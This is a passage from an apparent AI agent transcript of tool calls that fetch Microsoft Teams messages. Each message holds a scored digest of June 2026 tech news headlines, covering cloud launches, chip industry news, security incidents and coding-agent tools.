\"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T09:58:15.391Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863097228\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 5/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Glue previews semantic discovery for enterprise data](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-data-catalog/)** \u2014 **Score: 32/35.** AWS Glue Data Catalog is previewing business context and semantic search, helping teams discover data by meaning rather than exact names.\\n  2. **[ASML disputes US claim that its top chip tool reached China](https://techcrunch.com/2026/06/19/the-us-says-asmls-top-chip-tool-may-be-in-china-asml-says-it-isnt/)** \u2014 **Score: 31/35.** US officials say ASML\u2019s most advanced chip tool may be operating in China; ASML disputes it, intensifying export-control scrutiny.\\n  3. **[Z.ai releases open-weight GLM-5.2 for long-horizon work](https://huggingface.co/blog/zai-org/glm-52-blog)** \u2014 **Score: 31/35.** Z.ai released open-weight GLM-5.2 for long-horizon tasks, targeting sustained coding and agent workloads with a model developers can inspect.\\n  4. **[Elastic reportedly agrees to acquire DeductiveAI](https://techcrunch.com/2026/06/18/source-elastic-agrees-to-buy-crv-backed-deductiveai-for-up-to-85m/)** \u2014 **Score: 31/35.** Elastic reportedly agreed to acquire DeductiveAI for up to $85 million, adding AI-driven bug detection and remediation to its platform.\\n  5. **[AWS previews open-source TypeScript backend framework](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-blocks-preview)** \u2014 **Score: 31/35.** AWS Blocks is an open-source TypeScript framework for composing backends locally and deploying them without learning separate infrastructure tooling.\\n  6. **[Dream raises $260 million for sovereign AI and cybersecurity](https://news.google.com/rss/articles/CBMikAFBVV95cUxNZlZZQXZTT3Q2ci1JQXVXTWJBSHM1aDByMFNoR0FIY2EtQUt6WmN6Vlh2T3ZwSHp0QlduZzV3Qll3bzFpRzRNLVV5WWNLR0x1WmpmODNrZmtnZmJpVDBDekl1NFRPcmRIT0gtZ1dTck9USElyRkVCR1A0RUN4QTRmWG9EZU5lSmtoRjNZMEU4eE4?oc=5)** \u2014 **Score: 31/35.** Dream raised $260 million for sovereign AI and cybersecurity products, reflecting strong demand for region-controlled security infrastructure.\\n  7. **[Amazon Quick adds autonomous agents and multi-dataset analytics](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-quick/)** \u2014 **Score: 30/35.** Amazon Quick adds autonomous agents, multi-dataset analytics and a redesigned activity feed for business workflows.\\n  8. **[Amazon and QuEra target useful quantum error correction by 2028](https://arstechnica.com/science/2026/06/amazon-quera-promise-useful-quantum-error-correction-by-2028/)** \u2014 **Score: 30/35.** Amazon and QuEra say useful quantum error correction could arrive by 2028, potentially accelerating practical fault-tolerant computing.\\n  9. **[OpenAI appears to test a ChatGPT for Science plan](https://www.bleepingcomputer.com/news/artificial-intelligence/leak-confirms-openai-is-testing-a-chatgpt-for-science-subscription/)** \u2014 **Score: 29/35.** OpenAI appears to be testing a dedicated ChatGPT for Science subscription and workspace, though availability is not yet confirmed.\\n  10. **[Snap spins out its AI-video team as Dotmo](https://techcrunch.com/2026/06/18/snap-spins-off-ai-video-team-into-new-company-dotmo-due-to-costs/)** \u2014 **Score: 25/35.** Snap is spinning out its AI-video team as Dotmo to contain development costs and pursue generative-video work independently.\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T09:58:17.228Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863295479\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 9/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AI demand broadens the chip boom across Asia](https://news.google.com/rss/articles/CBMihAFBVV95cUxONURodERCMFljMjMta0c1RFBGOUthaTEzQTZSQnNZLW1fUDA3dnRsQXhXdlpMTElweWZwQnl3MmVEcUNmajhLdHR5endwa3NLcW0ydmJOdThNdmEwOXM1TC1NY2pZTngwUVUxYUNQRU5relZIeTBkQlVpN3FZV2o2SFJvbTA?oc=5)** \u2014 **Score: 31/35.** AI demand is lifting chipmakers across Asia, broadening infrastructure exposure beyond Nvidia and reshaping regional semiconductor supply chains.\\n  2. **[Coherent expands the optical backbone for AI systems in Texas](https://blogs.nvidia.com/blog/coherent-texas-ai-optical/)** \u2014 **Score: 31/35.** Coherent broke ground on a larger Texas facility for lasers and optical components that connect dense AI systems and data-center networks.\\n  3. **[JX Advanced Metals expands optical-wafer capacity for AI data centers](https://news.google.com/rss/articles/CBMivwFBVV95cUxNR3Q0MzVDd1dXVGs4bFI0MGphNGQ2X195TXdzNTYyNG9jbFEwQzFnUklCd2xlQmxwSUFYemlld193Q2pWcW02S3FMV1JHLUQwcUs3dWhkYjFuLS1CVHRzR1R0cTZwUVNTd3QzNHJMY1A3VUdVUDBUd1Rjem9VX2FUNlFTMDVWUXFWaDNvaGJHUFI0cHNBZWNrN1hJUm5obXA5clk2U04xZC1hSE5mcnpPYXkxd0k2VmU4Zmk2d2JrTQ?oc=5)** \u2014 **Score: 31/35.** JX Advanced Metals plans more optical-chip wafer capacity as AI clusters drive demand for high-bandwidth interconnects.\\n  4. **[SK Hynix ships samples of next-generation HBM4E memory](https://news.google.com/rss/articles/CBMiuAFBVV95cUxOOWEzYzZRcVFwWVZqS3JYakY4azZJLVVqenRtSm1mSEs2Rm1zVHNkWUxMS1paWHRmdzFlbVRWZmRwckdRN2JhS2JudnRURTBWWlg2WTFKaUprVnNmb3Fsd0R4bnNCX0F0YzZsTHRTd3pqRnJjV2RNYTZCMDdFNl9NeU9vcTFhS1JTQmFZS2RYbHQtLWlFZjg1TFBkaWVpTFJJUXdrQk9ONFB2dUdhcWVVT2NTTURxdzVY?oc=5)** \u2014 **Score: 30/35.** SK Hynix began shipping HBM4E samples, advancing the high-bandwidth memory supply needed for the next generation of AI accelerators.\\n  5. **[US CHIPS award backs SandboxAQ materials discovery](https://news.google.com/rss/articles/CBMifEFVX3lxTE9NYm5qMGZpTm4zY0J5bU4wYkpvUVJETmZVemllZFpwNi1Wc19ZZ3JEYTB1SlRBUTZpa29mSTFKQzFiUjRYcjJxclN5MlZZZTRVRDh5cFg3NC1kbURFV3AtQ1EzdkRJSjNTcDgtYnAxaDAxMWpmdlhhZGFhYl8?oc=5)** \u2014 **Score: 30/35.** A $500 million CHIPS award will support SandboxAQ\u2019s AI-driven materials work, connecting model-assisted discovery with domestic semiconductor capacity.\\n  6. **[Apple warns device prices will rise with memory costs](https://news.google.com/rss/articles/CBMiWkFVX3lxTFBHMUFiLVBVQVhqRlhQSW5qRFU3aTFTcEt3YXBIaG5vejVBNmlvNVBqc2ZoMHppUEU0Wk1yTllLQl9OSDNTeTZJUlAwU3RHTHpfaWVqUWp4d1dWdw?oc=5)** \u2014 **Score: 29/35.** Tim Cook says Apple device prices will rise as AI demand pushes memory-chip costs higher, showing the AI boom\u2019s spillover into consumer hardware.\\n  7. **[Researchers combine sensing, memory and processing for AI devices](https://news.google.com/rss/articles/CBMi5wJBVV95cUxOV3dLSXhwanhHUjR4UEVfc0tGZnJaMkpXZS04elBiMDhGX19VQ0ViQTJoZWVvNkRaeWRmSTlsa2pMeTVHcDItdWtYaDBMYlJPdWxkTk82TUUxamFzYk1mR21uelNFNk91RjluS3lqeHNkRGpqVlYxTTlxdmtiTnJ6UVpoS2FMUldBS3M3WWZMSDZRRjJDYlFOZzExM1ZBQWlOY1RHNnFtRUxjVVJWbzBVbUdUcHRkSTJxUTFyRWpuT0xGemh4dGxqZk14VldEQWhzeXo1OXQzOTQybk1iS1B0LW50RU9aVjQ4ZXJRdGFFdUdhOUE0UUREOWRMQmVUTjktRDk0Y3U1VDVXenNVOHo2bDRUZnFlc1Z4dTBUenFaMVpyc256a1A2NHEyOGhIRWwyRTBZOXl1QzBubXp1NVpldF9zTllObXdqOUZaTm1KbDBRZGtHTHdOZXlMOWhLc0VVVFBRT0Z4OA?oc=5)** \u2014 **Score: 29/35.** A brain-inspired phototransistor combines light sensing, memory and processing, aiming to reduce data movement and energy use in edge AI sensors.\\n  8. **[AI-assisted process targets next-generation 2D chips](https://news.google.com/rss/articles/CBMiV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNNIBV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNA?oc=5)** \u2014 **Score: 29/35.** Korean researchers developed an AI-assisted process for next-generation 2D chips, targeting more efficient materials and fabrication workflows.\\n  9. **[Nvidia says AI infrastructure will expand manufacturing jobs](https://news.google.com/rss/articles/CBMiqAFBVV95cUxNakpBMVhhLVBxTHFXTjFwZGd5b1JDVjFaLUlqZXJmaW5TbC05N0ZuYUI5YjBoX2hlcGVKYURQOENIU25HOHN2T1lZYkxZdm5uN29kcWFmaGxGRkl1cVpJY1FYdXlMdldXSE9GbHJUVHJDUHRXdmlzNjFrbFkyeHBkQmpFUFQ3eElCVW9RMDhISWxtOGlXV3FlOEstR3VEY25iRjVrT29naTjSAa4BQVVfeXFMTXZOSjM2X0VTUVJocmRJWFpFMFZCSjMySFBjZjF3cTFaRTRkSW41cGlJbk90djV5ZFl6Ui1xWXpFOHBCOEIwRWNYQWhTMkJxMGowWElpZkQwZF9VdTVHN3ZxV1d4YkpwWU44b2FuLUxpVlZyejZ3SC1tS2tnZXJUTEEzZko4TEs5cWZwTlpEQWp4d2VhTVowOHZVZTJ6OEZuVTY5SnJhMFQ5TjhyUEt3?oc=5)** \u2014 **Score: 29/35.** Jensen Huang says AI infrastructure will create manufacturing jobs, with new Texas investments providing an early test of that claim.\\n  10. **[Tencent-backed Enflame moves toward an AI-chip IPO](https://news.google.com/rss/articles/CBMitAFBVV95cUxQR29hd1R5b1k3XzZwN084WkEzTXp6LXRkdGJVaWJIREZ1OGg4QW96alh0V0cxUHZ5dEREOEJQTUhBSTk1X2pHTzFjWFpUN0ZadTZ0NVpLOHUzU0tQRk9NMGlVN3JPMFkwTlZEMVJxX2lhWHJFYTlqWnNWSm5xelh6WjZpeWtUblk0a21EUDJBaDgwWFkzcENvalNEMFpQZUJJbnFqWW9tQ0x2LUFoSDdzWVBRNkI?oc=5)** \u2014 **Score: 29/35.** Enflame is heading toward an IPO as Chinese AI-chip companies seek capital to expand domestic accelerator capacity and reduce foreign dependence.\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T10:01:35.479Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863292556\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 6/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Reported Copilot flaw could expose email and 2FA data](https://news.google.com/rss/articles/CBMikgFBVV95cUxNZkR6WGE0R0FBbV9IM2hfZGJxRTJFQ3YzZ19SNVRfRloyTWZ2MzY3QllrRE1Ic1U2TzNGMngxdVRGYUtCd1c2d25QdzFMd21rZWNOMFdkXzAyT0gyR19hQnlST2Nueml5M0xhYlhuNEJaWlVMSmpOazBabFdjb2luTjBtcl9UME9RdkI5OWRFZDMtdw?oc=5)** \u2014 **Score: 34/35.** A reported Copilot flaw could expose sensitive content including email and 2FA codes; teams should review vendor guidance and access boundaries.\\n  2. **[Accenture spends $4.18 billion on industrial cybersecurity expansion](https://news.google.com/rss/articles/CBMimAFBVV95cUxOVHVwZGhCSUFwSGYzZzVxYm42U2tzd3RiWkZzQmVpUktwSXFILWZoSTNyektKRm5KZTlXQmx6ZU5DOW1xMV93emxtZkVPX1VwTFdDM0ZaTGZYT2IybG8zZ2x5dWJzSmhCTjVKbUR0RkViS3VRcmZLUnBaSHVPajdfNTNaOUV5R25aVzhpTWtzX0dmTzBSbXlZWQ?oc=5)** \u2014 **Score: 31/35.** Accenture is spending $4.18 billion on three acquisitions to expand industrial and OT cybersecurity, signaling consolidation around critical-infrastructure defense.\\n  3. **[CISA urges Fortinet hardening after credential exposure reports](https://news.google.com/rss/articles/CBMizgFBVV95cUxPbDFsVnY4dWpHODBDOHRnYm5nVm05OUlNQ2l5UUhzOHN6bjJidUtOQThqSHBBdHZvOVVydFJYeTNjSDcyVzM2SDlIcmw1RVVhQkx3VmVCWnRfVXU4bE1pQVBoMkJtVFNTNXBNMHV2Mkw0UURLM2RFb3dka0VFMmVudU94eFlrdk1oNXF2MlFKZll4OG9pRVRkNEUxTlZfMGpyTW1wTEFCcVRNX3I1MFY3Mmc1RDg0U3B0Zk1hNkkxUjQwc29YOXdnVzNkU245dw?oc=5)** \u2014 **Score: 30/35.** CISA urged organizations to harden Fortinet devices after reports of exposed credentials, putting edge-device access and secret rotation back on the incident list.\\n  4. **[Novo Nordisk breach highlights development-pipeline risk](https://news.google.com/rss/articles/CBMijAFBVV95cUxQRnZnU1VRcnZNMWdxV0p2R2ZUcjdaMDdNSWl4S0J1ZFBuSThIa1B5Sk9Pa1RXLWdsYlZaWTBpWklEbVZXclNzMV9RbHJTWUNubmVpQXI5d0ZkVnpheGFlY2RBMFVuNkp3WnY2LWtvTV9ITHVfYlZkQXBoXzB0elJ4ekppU0swUzh1ZHlsSg?oc=5)** \u2014 **Score: 30/35.** The Novo Nordisk incident shows how a breach can reach software-development pipelines, where code, build secrets and deployment systems amplify risk.\\n  5. **[White House tightens cybersecurity direction for national-security systems](https://news.google.com/rss/articles/CBMiigFBVV95cUxOMHhDeGpmTDNNWTFCUUp6emRJZmhBdWVrMkQyY3BUM0tSeXpsdlZfa2J0VmlHaEVXdFNDRmFic3BJem5VS1lESnpBRnQ4bllHNWxVbFE4RXFvVG9ZTEN3aGNPTkdLdVJBTDkzcVdfMlhxZ0stQmVaRVJZWlRLSlJtX0FZWjZ6UTl4bkHSAY8BQVVfeXFMT0YyZk5NVW9IUV9YZ0xhSGtTQzAtaHdwVG9rb3dhQ01RM255VUVucXRnYnFyMVBYWGRWUlU4eFhUYlRfREVGeXZqb3pLZ0FvNGw0by1hNEFSWlNZeEV5VjdYd0lNd0hjX1FUWXpVdVZld2JMOEt5aUlQY2ZITGs5X242Q2ptbENWcmt5RHV0eU0?oc=5)** \u2014 **Score: 29/35.** A new White House memo sets tighter cybersecurity direction for national security systems, with implications for federal suppliers and sensitive workloads.\\n  6. **[Law enforcement cleans nearly 15,000 SocGholish-infected sites](https://www.bleepingcomputer.com/news/security/law-enforcement-nukes-socgholish-malware-from-nearly-15-000-sites/)** \u2014 **Score: 27/35.** Authorities cleaned nearly 15,000 infected WordPress sites and disrupted 100+ servers tied to SocGholish and the Evil Corp cybercrime group.\\n  7. **[INC ransomware passes 830 reported victims](https://news.google.com/rss/articles/CBMihAFBVV95cUxQSzdpRjZ1ODlhMzZkbXpaOEdYTTBTZUpOTHhpVk8teU94a2dIMzBGRzJRdGlmNFVGX1FOWU5YZnItTHdWYjZPQ3ZXZTVxZWZKZ0treUl4bTdhRGo2bVlOT1ZYQk5BUkppUFhEaG91a3hub2JwdnJKLW1HaE1teE52OUFEXzA?oc=5)** \u2014 **Score: 26/35.** INC ransomware has reportedly accumulated 830+ victims since 2023, reinforcing RaaS scale and the need for tested recovery and lateral-movement controls.\\n  8. **[Gentlemen ransomware maintains multiple EDR-killer tools](https://www.bleepingcomputer.com/news/security/gentlemen-ransomware-uses-multiple-edr-killers-to-disable-defenses/)** \u2014 **Score: 26/35.** Gentlemen ransomware affiliates are using a maintained suite of EDR-killer tools to disable endpoint defenses before encryption and extortion.\\n  9. **[HHS settles ransomware investigation with a health plan](https://news.google.com/rss/articles/CBMijAFBVV95cUxPRUJ6c09KWEJobHh1emVqZlpaZzV0MjFmVjJkMkhwUWN0d2VLbEtVYkxLeUZCakRBVzRyeXNkRFVSdGlHNVcwU2J5QUZ2cG4tUHZQdTVHenNVOUhua3BoN1lQV2JJajctLWFwY3FWdy1TdXNWOTZ6SWRQdWh1WGpDUUR2YnN1UDNyWEwyXw?oc=5)** \u2014 **Score: 26/35.** HHS settled a ransomware investigation with a health plan, another reminder that incident response and HIPAA safeguards carry regulatory consequences.\\n  10. **[USB worm spreads wallet-stealing malware through Windows shortcuts](https://www.bleepingcomputer.com/news/security/usb-worm-spreads-crypto-stealing-malware-via-windows-shortcut-files/)** \u2014 **Score: 25/35.** A self-spreading USB worm uses Windows shortcut files, clipboard theft and Tor-based communications to target cryptocurrency wallets.\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T10:01:32.556Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863093721\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 1/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Microsoft advances agentic vulnerability detection into production workflows](https://www.microsoft.com/en-us/security/blog/2026/06/17/beyond-the-benchmark-advancing-security-at-ai-speed/)** \u2014 **Score: 34/35.** Microsoft says its MDASH agentic system now works across Windows, Azure and identity workflows, moving vulnerability discovery and validation closer to production.\\n  2. **[Bedrock AgentCore adds Guardrails to agent authorization policies](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-policy-guardrails-generally-available)** \u2014 **Score: 34/35.** AgentCore Policy can now invoke Bedrock Guardrails, adding content, privacy and safety checks to authorization decisions for production agents.\\n  3. **[AWS Transform assesses generative-AI model migrations](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-model-to-model-assessments)** \u2014 **Score: 33/35.** AWS Transform scans generative-AI codebases and produces plans for migrating workloads from third-party model providers to Amazon Bedrock.\\n  4. **[Amazon Bedrock AgentCore harness reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-harness-generally-available)** \u2014 **Score: 33/35.** AWS made its managed agent harness generally available, packaging the runtime, tools and orchestration needed to move from an idea to a working agent.\\n  5. **[AWS launches EC2 G7 instances with Blackwell GPUs](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-ec2-g7-generally-available)** \u2014 **Score: 32/35.** New G7 instances use Nvidia RTX PRO 4500 Blackwell GPUs and claim up to 4.6\u00d7 higher AI-inference performance than the prior generation.\\n  6. **[Snyk makes its AI security platform free for open-source maintainers](https://snyk.io/blog/secure-developer-program/)** \u2014 **Score: 32/35.** Qualifying open-source maintainers can use Snyk\u2019s full AI Security Platform free to triage, prioritize and fix real vulnerability reports.\\n  7. **[Nvidia Blackwell leads MLPerf Training 6.0](https://blogs.nvidia.com/blog/blackwell-mlperf-training-6-0/)** \u2014 **Score: 31/35.** Nvidia says Blackwell swept MLPerf Training 6.0, a signal for teams comparing large-model training speed, scale and infrastructure efficiency.\\n  8. **[Oracle Autonomous AI Database Serverless arrives on AWS](https://aws.amazon.com/about-aws/whats-new/2026/06/oracle-database-aws-autonomous-database-serverless/)** \u2014 **Score: 30/35.** Oracle Autonomous AI Database Serverless is now available through Database@AWS, with automated patching, tuning and scaling on Exadata.\\n  9. **[GitHub Copilot will deprecate Opus 4.6 fast](https://github.blog/changelog/2026-06-18-upcoming-deprecation-of-opus-4-6-fast)** \u2014 **Score: 30/35.** GitHub will remove Opus 4.6 (fast) from Copilot on June 29; teams using it in chat, agents, edits or completions must choose a supported model.\\n  10. **[Klue OAuth breach exposes Salesforce data across organizations](https://www.bleepingcomputer.com/news/security/klue-oauth-breach-linked-to-icarus-salesforce-data-theft-attacks/)** \u2014 **Score: 28/35.** An OAuth compromise at Klue let Icarus actors steal Salesforce data from multiple organizations, reinforcing third-party token and app risk.\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T09:58:13.721Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863294467\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 8/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS DevOps Agent adds custom SRE agents and MCP/A2A access](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-custom-agents/)** \u2014 **Score: 33/35.** AWS DevOps Agent now supports custom SRE sub-agents plus headless MCP and A2A access for automating recurring reliability workflows.\\n  2. **[GitHub makes Copilot CLI more selective about delegation](https://github.blog/ai-and-ml/how-we-made-github-copilot-cli-more-selective-about-delegation/)** \u2014 **Score: 32/35.** GitHub changed Copilot CLI orchestration to reduce unnecessary handoffs, aiming for faster task completion without adding user-facing controls.\\n  3. **[Microsoft explains conflicts between coding-agent extensions](https://devblogs.microsoft.com/blog/when-your-agent-extensions-fight-each-other)** \u2014 **Score: 32/35.** Microsoft examines how overlapping agent extensions compete for context and instructions, and how teams can design integrations that cooperate reliably.\\n  4. **[Kimi K2.7-Code targets token-efficient agentic development](https://news.google.com/rss/articles/CBMilAFBVV95cUxOWWJ2UGhCZWVFR2xEc2c4UWxGc3M2bTVKTk4xR0tvQUJwUnJBRmNDR3lEN2lxTVZvakNudjlLOHE5d2hKZXM0OUMtVUZMaW1MSndZbUFSbUVNQVJDSVFQUnFtbzFuRkVYOUFFMmZ6TmdwRjJFN19yQXN5Z2Y0Uk5URi1jU0dsNFRtNDdZV01HbmJnTXVx?oc=5)** \u2014 **Score: 31/35.** Moonshot AI\u2019s Kimi K2.7-Code focuses on token-efficient coding-agent work, adding another option for teams balancing capability, latency and cost.\\n  5. **[Microsoft warns against overloading coding-agent skills](https://devblogs.microsoft.com/blog/stop-overloading-your-skills)** \u2014 **Score: 31/35.** Microsoft argues that oversized agent skills waste tokens and dilute instructions; smaller, task-specific context can improve coding-agent reliability.\\n  6. **[GitHits funds open-source code search for coding agents](https://news.google.com/rss/articles/CBMi2wFBVV95cUxQYmtlYVg2M3FfWUlxV1gtV1p1U3o0dkp5ZmlPOWM3LVl6RU1GdFFKNWMydkxRbkZVS0dscmpLZFRWQm9yYlh0SWdSNy1iUGppM01wMnJZXzJnSzV6WTl2NS1zSnh0WlBMUHNnT0Z1YnBBWTJtYVZuNWF2SFdXNXhSNlVTOWZsV2hZdjM4MkJ5REZyLXZaY3FNU3VnRUdrMGxvQVRQbmZnWjJGYVY2cnVHcFN5alZLZXMxYzI2NEdxMFVEaWJVOEI4VGJHbVpqOS1VbHF2dWFsYmZEWlU?oc=5)** \u2014 **Score: 30/35.** GitHits raised $1.75 million to improve AI coding accuracy through open-source code search, targeting better retrieval and grounding for agents.\\n  7. **[CNCF details dependency lockdown for open-source CI/CD](https://www.cncf.io/blog/2026/06/12/securing-ci-cd-for-an-open-source-project-locking-down-dependencies/)** \u2014 **Score: 30/35.** CNCF\u2019s Cilium team explains how it locks dependencies and reduces supply-chain exposure across a high-volume open-source CI/CD pipeline.\\n  8. **[AWS Glue adds Spark Connect for interactive development](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-interactive-sessions-spark-connect-smus-notebooks)** \u2014 **Score: 29/35.** Glue Interactive Sessions can now use Spark Connect from SageMaker Unified Studio or preferred notebook environments, simplifying remote Spark work.\\n  9. **[EXANTE launches \u20ac1 million fund for critical open source](https://news.google.com/rss/articles/CBMiowFBVV95cUxPQ0JDVE9yd09rejMzUk12UFlRT3FJQU5ZWExiNV9sajNqUTFjTXp1OTJ5cDBhbkYtYVAxbFFQV05BbmZhMHFBM1RsWWxyVEEtZFFTX3QtTTF2WjBRcWFiaENqVXNtT0QxQ20ybVlIQ0RiWC1QM1VGMHZKRndxNjVzMHd5MmRGeFB6NWJXYTFzak9rYTB5enFCQjNBZl9udUluQzhn?oc=5)** \u2014 **Score: 28/35.** EXANTE launched a \u20ac1 million fund for critical open-source infrastructure, adding private financing for maintainers of widely depended-on projects.\\n  10. **[GitHub promotes pull-request limits for maintainer overload](https://github.blog/open-source/maintainers/how-pull-request-limits-are-cutting-down-the-noise/)** \u2014 **Score: 28/35.** GitHub says repository pull-request limits can reduce maintainer noise and contribution overload, with additional controls planned on the roadmap.\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T10:01:34.467Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863293503\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 7/10\\n\\nReviewed 